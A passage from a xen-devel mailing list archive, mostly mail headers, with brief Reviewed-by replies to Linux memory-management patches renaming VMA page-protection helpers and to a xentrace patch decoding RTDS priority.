 <abhinav.kumar@linux.dev>, Jessica Zhang <jesszhan0024@gmail.com>,
 Sean Paul <sean@poorly.run>, Marijn Suijten <marijn.suijten@somainline.org>,
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>,
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>,
 Sandy Huang <hjc@rock-chips.com>, =?UTF-8?Q?Heiko_St=C3=BCbner?=
 <heiko@sntech.de>, Andy Yan <andy.yan@rock-chips.com>,
 Thierry Reding <thierry.reding@kernel.org>,
 Mikko Perttunen <mperttunen@nvidia.com>,
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>,
 Dmitry Osipenko <dmitry.osipenko@collabora.com>,
 Gurchetan Singh <gurchetansingh@chromium.org>, Chia-I Wu
 <olvaffe@gmail.com>, Zack Rusin <zack.rusin@broadcom.com>,
 Broadcom internal kernel review list
 <bcm-kernel-feedback-list@broadcom.com>,
 Matthew Brost <matthew.brost@intel.com>,
 =?UTF-8?Q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>,
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>,
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>,
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>,
 Boris Brezillon <boris.brezillon@collabora.com>,
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>
Cc: linux-mm@kvack.org, linux-kernel@vger.kernel.org,
 linux-mips@vger.kernel.org, linux-aio@kvack.org,
 linux-fsdevel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
 dri-devel@lists.freedesktop.org, etnaviv@lists.freedesktop.org,
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org,
 nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org,
 linux-tegra@vger.kernel.org, virtualization@lists.linux.dev,
 intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org,
 linux-fbdev@vger.kernel.org, linux-sound@vger.kernel.org
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
 <20260711-b4-vma-flags-mm-v2-6-0fa2357d5431@kernel.org>
From: "Vlastimil Babka (SUSE)" <vbabka@kernel.org>
Autocrypt: addr=vbabka@kernel.org; keydata=
 xsFNBFZdmxYBEADsw/SiUSjB0dM+vSh95UkgcHjzEVBlby/Fg+g42O7LAEkCYXi/vvq31JTB
 KxRWDHX0R2tgpFDXHnzZcQywawu8eSq0LxzxFNYMvtB7sV1pxYwej2qx9B75qW2plBs+7+YB
 87tMFA+u+L4Z5xAzIimfLD5EKC56kJ1CsXlM8S/LHcmdD9Ctkn3trYDNnat0eoAcfPIP2OZ+
 9oe9IF/R28zmh0ifLXyJQQz5ofdj4bPf8ecEW0rhcqHfTD8k4yK0xxt3xW+6Exqp9n9bydiy
 tcSAw/TahjW6yrA+6JhSBv1v2tIm+itQc073zjSX8OFL51qQVzRFr7H2UQG33lw2QrvHRXqD
 Ot7ViKam7v0Ho9wEWiQOOZlHItOOXFphWb2yq3nzrKe45oWoSgkxKb97M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Z+c6J4H+nEJGi2SkHAUJz5oBzuThvPudLvPA/SK8sKoM01IRxSihev/S/5WLazXB1PGem
 OCbvzC1IjWJJraxiDJ5IygokapUa2RP7+WBR22skQ3SSl6G107QgWKSyTOGWEaRmV53vxQLV
 jXuCmzSSasTL60zq5yGrT4/DYQVSNEUiUbG4pYekxJujNeEDkUlky0Y=
In-Reply-To: <20260711-b4-vma-flags-mm-v2-6-0fa2357d5431@kernel.org>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1784730913-362C4AE4-D73ED1DE/0/0
X-purgate-type: clean
X-purgate-size: 840

On 7/11/26 20:45, Lorenzo Stoakes wrote:
> Update vm_pgprot_modify() to use the new VMA flags type vma_flags_t, and
> rename to vma_pgprot_modify() accordingly.
> 
> This is part of the ongoing work to convert vm_flags_t to vma_flags_t, in
> order to eliminate the arbitrary limit of the number of bits in a system
> word on available VMA flags.
> 
> Update VMA userland tests accordingly, updating vma_set_page_prot() to no
> longer inline vma_pgprot_modify(), rather we can simply define
> vma_pgprot_modify() as a static inline function and the tests will pick it
> up from vma.h.
> 
> No functional change intended.
> 
> Reviewed-by: Lance Yang <lance.yang@linux.dev>
> Reviewed-by: Zi Yan <ziy@nvidia.com>
> Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>

Reviewed-by: Vlastimil Babka (SUSE) <vbabka@kernel.org>



From xen-devel-bounces@lists.xenproject.org Wed Jul 22 14:36:25 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 14:36:25 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368505.1617843 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmY3b-0002TT-6x; Wed, 22 Jul 2026 14:36:23 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368505.1617843; Wed, 22 Jul 2026 14:36:23 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmY3b-0002TM-3r; Wed, 22 Jul 2026 14:36:23 +0000
Received: by outflank-mailman (input) for mailman id 1368505;
 Wed, 22 Jul 2026 14:36:22 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <vbabka@kernel.org>) id 1wmY3a-0002TE-7X
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 14:36:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmY3Z-005x9b-Kh
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 16:36:21 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <vbabka@kernel.org>)
 id 6a60d562-5cb7-0a2a0a5109dd-0a2a4506ae12-2
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 16:36:21 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <vbabka@kernel.org>)
 id 6a60d563-195a-0a2a45060019-aceafc1fb0c0-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 16:36:21 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id 266D94377D;
 Wed, 22 Jul 2026 14:36:19 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id A298F1F000E9;
 Wed, 22 Jul 2026 14:36:01 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:Subject:To:Cc:References:From:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1784730979;
	bh=rncOYEHNQZnCerUEAUIKUY0kxzd/Rst4GSYy3YkGBiE=;
	h=Date:Subject:To:Cc:References:From:In-Reply-To;
	b=cFGra5ufilocIuJfM8gSzW60rH5UffaGWTjVoku9icCvdKfbGshoBgtpoU9J4TBAR
	 Ns3ac9kv1Th/g54QOx5z56SLMZe2ySiEIv65XpPoMjA3UFpsdZzi0oJqofN4x98D2p
	 m4lZ9oMMil7zMd9k9+rzQMvGQdzHReyfYjjBBm955F4gkk4KFjIQOOT/mPUzrrmxtD
	 43IiL1O3Fmq0qqGqb9k2MDnCWisp77KJ0x6mk3tstlzQOGQrq1aJdtHXn8pW6ulVrO
	 jeZk5ldH2UFluVUmoTqWL6jsrRH19TDzr1NKw9PWN4J5MDMUhRoM2zp1AiEyGdBH8q
	 UANALHWmfhrFQ==
Message-ID: <7b43e8e2-eb03-4c44-b7a9-1f0640141612@kernel.org>
Date: Wed, 22 Jul 2026 16:36:00 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 07/13] mm/vma: rename vma_get_page_prot to
 vma_flags_to_page_prot
Content-Language: en-US
To: Lorenzo Stoakes <ljs@kernel.org>,
 Andrew Morton <akpm@linux-foundation.org>,
 David Hildenbrand <david@kernel.org>, "Liam R. Howlett"
 <liam@infradead.org>, Mike Rapoport <rppt@kernel.org>,
 Suren Baghdasaryan <surenb@google.com>, Michal Hocko <mhocko@suse.com>,
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>,
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>,
 Hugh Dickins <hughd@google.com>, Baolin Wang
 <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>,
 Pedro Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>,
 Oscar Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>,
 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>,
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>,
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>,
 Madhavan Srinivasan <maddy@linux.ibm.com>,
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>,
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>,
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>,
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
 Lucas Stach <l.stach@pengutronix.de>,
 Russell King <linux+etnaviv@armlinux.org.uk>,
 Christian Gmeiner <christian.gmeiner@gmail.com>,
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>,
 Kyungmin Park <kyungmin.park@samsung.com>,
 Krzysztof Kozlowski <krzk@kernel.org>,
 Peter Griffin <peter.griffin@linaro.org>,
 Alim Akhtar <alim.akhtar@samsung.com>,
 Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, Rob Clark <robin.clark@oss.qualcomm.com>,
 Dmitry Baryshkov <lumag@kernel.org>, Abhinav Kumar
 <abhinav.kumar@linux.dev>, Jessica Zhang <jesszhan0024@gmail.com>,
 Sean Paul <sean@poorly.run>, Marijn Suijten <marijn.suijten@somainline.org>,
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>,
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>,
 Sandy Huang <hjc@rock-chips.com>, =?UTF-8?Q?Heiko_St=C3=BCbner?=
 <heiko@sntech.de>, Andy Yan <andy.yan@rock-chips.com>,
 Thierry Reding <thierry.reding@kernel.org>,
 Mikko Perttunen <mperttunen@nvidia.com>,
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>,
 Dmitry Osipenko <dmitry.osipenko@collabora.com>,
 Gurchetan Singh <gurchetansingh@chromium.org>, Chia-I Wu
 <olvaffe@gmail.com>, Zack Rusin <zack.rusin@broadcom.com>,
 Broadcom internal kernel review list
 <bcm-kernel-feedback-list@broadcom.com>,
 Matthew Brost <matthew.brost@intel.com>,
 =?UTF-8?Q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>,
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>,
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>,
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>,
 Boris Brezillon <boris.brezillon@collabora.com>,
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>
Cc: linux-mm@kvack.org, linux-kernel@vger.kernel.org,
 linux-mips@vger.kernel.org, linux-aio@kvack.org,
 linux-fsdevel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
 dri-devel@lists.freedesktop.org, etnaviv@lists.freedesktop.org,
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org,
 nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org,
 linux-tegra@vger.kernel.org, virtualization@lists.linux.dev,
 intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org,
 linux-fbdev@vger.kernel.org, linux-sound@vger.kernel.org
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
 <20260711-b4-vma-flags-mm-v2-7-0fa2357d5431@kernel.org>
From: "Vlastimil Babka (SUSE)" <vbabka@kernel.org>
Autocrypt: addr=vbabka@kernel.org; keydata=
 xsFNBFZdmxYBEADsw/SiUSjB0dM+vSh95UkgcHjzEVBlby/Fg+g42O7LAEkCYXi/vvq31JTB
 KxRWDHX0R2tgpFDXHnzZcQywawu8eSq0LxzxFNYMvtB7sV1pxYwej2qx9B75qW2plBs+7+YB
 87tMFA+u+L4Z5xAzIimfLD5EKC56kJ1CsXlM8S/LHcmdD9Ctkn3trYDNnat0eoAcfPIP2OZ+
 9oe9IF/R28zmh0ifLXyJQQz5ofdj4bPf8ecEW0rhcqHfTD8k4yK0xxt3xW+6Exqp9n9bydiy
 tcSAw/TahjW6yrA+6JhSBv1v2tIm+itQc073zjSX8OFL51qQVzRFr7H2UQG33lw2QrvHRXqD
 Ot7ViKam7v0Ho9wEWiQOOZlHItOOXFphWb2yq3nzrKe45oWoSgkxKb97MVsQ+q2SYjJRBBH4
 8qKhphADYxkIP6yut/eaj9ImvRUZZRi0DTc8xfnvHGTjKbJzC2xpFcY0DQbZzuwsIZ8OPJCc
 LM4S7mT25NE5kUTG/TKQCk922vRdGVMoLA7dIQrgXnRXtyT61sg8PG4wcfOnuWf8577aXP1x
 6mzw3/jh3F+oSBHb/GcLC7mvWreJifUL2gEdssGfXhGWBo6zLS3qhgtwjay0Jl+kza1lo+Cv
 BB2T79D4WGdDuVa4eOrQ02TxqGN7G0Biz5ZLRSFzQSQwLn8fbwARAQABzSNWbGFzdGltaWwg
 QmFia2EgPHZiYWJrYUBrZXJuZWwub3JnPsLBsAQTAQoAWhYhB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7JyEd2pilZOrIuBGl/5q2qSakgnAVFWFBR/DO27JuAksYnq
 +aH8vI0xGvwn75KqSk4UzAkDzWSmO4ZHuahKtQgZNsMYV+PGayRBX9b9zbldzopoLBdqHc4n
 jQARAQABwsF8BBgBCgAmAhsMFiEEqUDUNJksLo6ZED1QIk+n58yCpmQFAmfIHFQFCRYU6J8A
 CgkQIk+n58yCpmS2PA//bqN1LfcotmArgElsa+0EGZSQlYgK48pm8WAeTXTngudP9IJ4SuKY
 HR5RNjHcBeqN+Me0zxRqYzRb8nGanHEkDyf4Im8DQM8d6vbyU+FcPmG4skud4kgS1zMHnlVd
 SXfSIwKC/hKgdHG8aBV7545Lz9X6Iohea+94wneD0aw/hqF+QWewGZhWJriWAZtvEkzNjQOi
 4U9F/trLten/x7bpphDSnDMKJtITbtzATT1Dq7o7VpIUK1nCTQALMuMjKCdi8OdU/+V+R3O4
 0PXWvX8qrvqYapVbZ+9KqT74FsuB0Ya9uXwgBF2Q6cRuETZk5vqaqKxzqoQZCO8AOz/58j6O
 2RHNy/mZEN+7tJ5Tsq42zVJ4jxsT8b9YplavCMsnBgDeRWhcbYhCyttoL7nYISyWg4kQYZ/P
 wIV3OuNv2f8iKYsxNsRuClOAF82+gvqOy1/1pprFjy8uo2pkoOrb63aOP3vO5VHnRKgra6dq
 NcaZ+c6J4H+nEJGi2SkHAUJz5oBzuThvPudLvPA/SK8sKoM01IRxSihev/S/5WLazXB1PGem
 OCbvzC1IjWJJraxiDJ5IygokapUa2RP7+WBR22skQ3SSl6G107QgWKSyTOGWEaRmV53vxQLV
 jXuCmzSSasTL60zq5yGrT4/DYQVSNEUiUbG4pYekxJujNeEDkUlky0Y=
In-Reply-To: <20260711-b4-vma-flags-mm-v2-7-0fa2357d5431@kernel.org>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-16d1c6/1784730981-FD20877B-23C0A8D1/0/0
X-purgate-type: clean
X-purgate-size: 483

On 7/11/26 20:45, Lorenzo Stoakes wrote:
> Having vma_get_page_prot() refer to VMA flags and vma_set_page_prot() refer
> to a VMA is confusing.
> 
> Rename vma_get_page_prot() to vma_flags_to_page_prot() to resolve this
> confusion.
> 
> No functional change intended.
> 
> Reviewed-by: Lance Yang <lance.yang@linux.dev>
> Reviewed-by: Zi Yan <ziy@nvidia.com>
> Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>

Reviewed-by: Vlastimil Babka (SUSE) <vbabka@kernel.org>



From xen-devel-bounces@lists.xenproject.org Wed Jul 22 15:11:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 15:11:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368520.1617853 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmYbd-0000fR-Rk; Wed, 22 Jul 2026 15:11:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368520.1617853; Wed, 22 Jul 2026 15:11:33 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmYbd-0000fK-Nc; Wed, 22 Jul 2026 15:11:33 +0000
Received: by outflank-mailman (input) for mailman id 1368520;
 Wed, 22 Jul 2026 15:11:32 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f8a61a772000edb5@swg.vates.tech>)
 id 1wmYbZ-0000fE-GZ
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 15:11:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmYbY-004owV-EG
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 17:11:28 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f8a61a772000edb5@swg.vates.tech>)
 id 6a60dd99-bab6-0a2a0a5309dd-0a2a4509d0d4-16
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 17:11:28 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f8a61a772000edb5@swg.vates.tech>)
 id 6a60dd9f-be1a-0a2a45090019-b9ff1c239b6d-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 17:11:27 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f8a61a772000edb5.001 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 22 Jul 2026 15:11:23 +0000
Received: from l14 (unknown [82.67.99.167])
 (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id A6E9C82ABB;
 Wed, 22 Jul 2026 17:11:22 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=x4GopKbLX6t9iL/V2VHI+Y++eV4UU4Sv7+H8jzGJpZE=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=Q4NipT45HEKcv4h2ZGImpv9rGc4Cx23G5ikbM6Xl5yJNP/ZhJ0Nn72OXiaiQCeLMIhdt8NrM1
 BYmqxZVgjE+E3H5kzy7aXPglnHalT3Uw1248b1O0Ysj4bgJVGR98GrDRzdn1O5BO1tGS+O2DGlX
 amqzxWDb6nDMmOkXTC+JhqTHvPp/QnhYgn9UBWZvBzO9xB+cUyPjCyjiQfVKkxf5mxIN+McMyI0
 qdCg/iZenzVjeAFUQhdaRWM7ks78FF476+bbAqR2d3zGAFUUgly58CEgcRDGRIofzwzNLa664pw
 kWvelJS53f8bvhz4szP7qSrH7Irc0wht3tZl5zcVJPNw==
X-Zone-Loop: 8c6e4fe4936984b46f1b4fb8f059dbb58133e57a0ced
x-campaign-type: default
x-transaction-id: f6207e17-c8c2-4d5a-af0f-fc684569d85d
x-swg-uid: 01-293f4970-eefb-4e8f-8e38-ed52d9f619c5
X-Mailer: Sweego
Message-ID:
 <1784733083.8631fc262581453bbf619ec5b2062170.19f8a61a772000edb5@vates.tech>
x-swg-bid: 1784733083.8631fc262581453bbf619ec5b2062170.19f8a61a772000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 22 Jul 2026 17:11:22 +0200
From: Anthony PERARD <anthony.perard@vates.tech>
To: Ryoji Okamoto <okamoto@valinux.co.jp>
Cc: xen-devel@lists.xenproject.org, Ryo Takakura <takakura@valinux.co.jp>,
	Hirokazu Takahashi <taka@valinux.co.jp>,
	Jan Beulich <jbeulich@suse.com>
Subject: Re: [PATCH v2] tools/xentrace: decode RTDS priority in repl_budget
 records
References: <20260710064352.343914-1-okamoto@valinux.co.jp>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <20260710064352.343914-1-okamoto@valinux.co.jp>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.1054.b775598c215a5a5e.19f8a61a4cd.61a9d23d7a474aee=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784733082829
X-purgate-ID: tlsNG-bad1c0/1784733088-3A6DA034-D301F9F7/0/0
X-purgate-type: clean
X-purgate-size: 960

---=Part.1054.b775598c215a5a5e.19f8a61a4cd.61a9d23d7a474aee=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On Fri, Jul 10, 2026 at 03:43:52PM +0900, Ryoji Okamoto wrote:
> The RTDS repl_budget trace record now contains the vCPU priority
> level=2E Update xenalyze to account for the additional field and print
> it when dumping the trace event=2E
>=20
> Without this change, xenalyze interprets the record using the old
> layout, causing the deadline and budget fields to be decoded from the
> wrong offsets=2E
>=20
> Fixes: 463b95831778 ("xen:rtds: towards work conserving RTDS")
> Signed-off-by: Ryoji Okamoto <okamoto@valinux=2Eco=2Ejp>

Reviewed-by: Anthony PERARD <anthony=2Eperard@vates=2Etech>

Thanks,


-- 
Anthony Perard | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vate=
s solutions

web: https://vates=2Etech
---=Part.1054.b775598c215a5a5e.19f8a61a4cd.61a9d23d7a474aee=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 22 15:43:37 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 15:43:37 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368538.1617863 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmZ6M-0005aB-4G; Wed, 22 Jul 2026 15:43:18 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368538.1617863; Wed, 22 Jul 2026 15:43:18 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmZ6M-0005a4-0y; Wed, 22 Jul 2026 15:43:18 +0000
Received: by outflank-mailman (input) for mailman id 1368538;
 Wed, 22 Jul 2026 15:43:16 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <vbabka@kernel.org>) id 1wmZ6K-0005Zy-0n
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 15:43:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmZ6J-00GAh4-De
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 17:43:15 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <vbabka@kernel.org>)
 id 6a60e50f-2eae-0a2a0a5409dd-0a2a45059f56-14
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 17:43:15 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <vbabka@kernel.org>)
 id 6a60e511-4cb1-0a2a45050019-aceafc1f8674-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 17:43:15 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id E7E6A4075F;
 Wed, 22 Jul 2026 15:43:12 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 604121F000E9;
 Wed, 22 Jul 2026 15:42:51 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:Subject:To:Cc:References:From:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1784734992;
	bh=z8WqCRRmqZNU6m++x/hJd+wI7SHuI+FdIhlbamrdG1A=;
	h=Date:Subject:To:Cc:References:From:In-Reply-To;
	b=CLM0aR9eFhPZ9spOJaHdGqkYPBvjwdadVJYlKZTl2YKiFfjcVhRSxPh1PIcdSZLqF
	 2uDQVrjKOL7KmFktl7pClbl7cKII+MRZc9/6UaOyQfALqfqRWzhAtz2P2hISt6DjII
	 CWqB/cDSvIql3IGoYwtilPu5JaZMRbvxlUgx/GqldGAVbyRwWh0ci6cxI6Nrz0fqLU
	 /E1KAynocQ7mEgmRpP4IShX5p2k0UIxlo2mteluahBk9DcIHRIpb9ZDQ/ba/6DRjn5
	 oYakHop6ZZ+DFl5M5Rcin/qKgqClJMkqtRONWZt8Qxm6ThTbv5R0wMwmL93ssw6GKd
	 eiwmeo4mk1lEw==
Message-ID: <2eb7b45e-0bf6-4b09-9b8a-ecc0f57f2c39@kernel.org>
Date: Wed, 22 Jul 2026 17:42:49 +0200
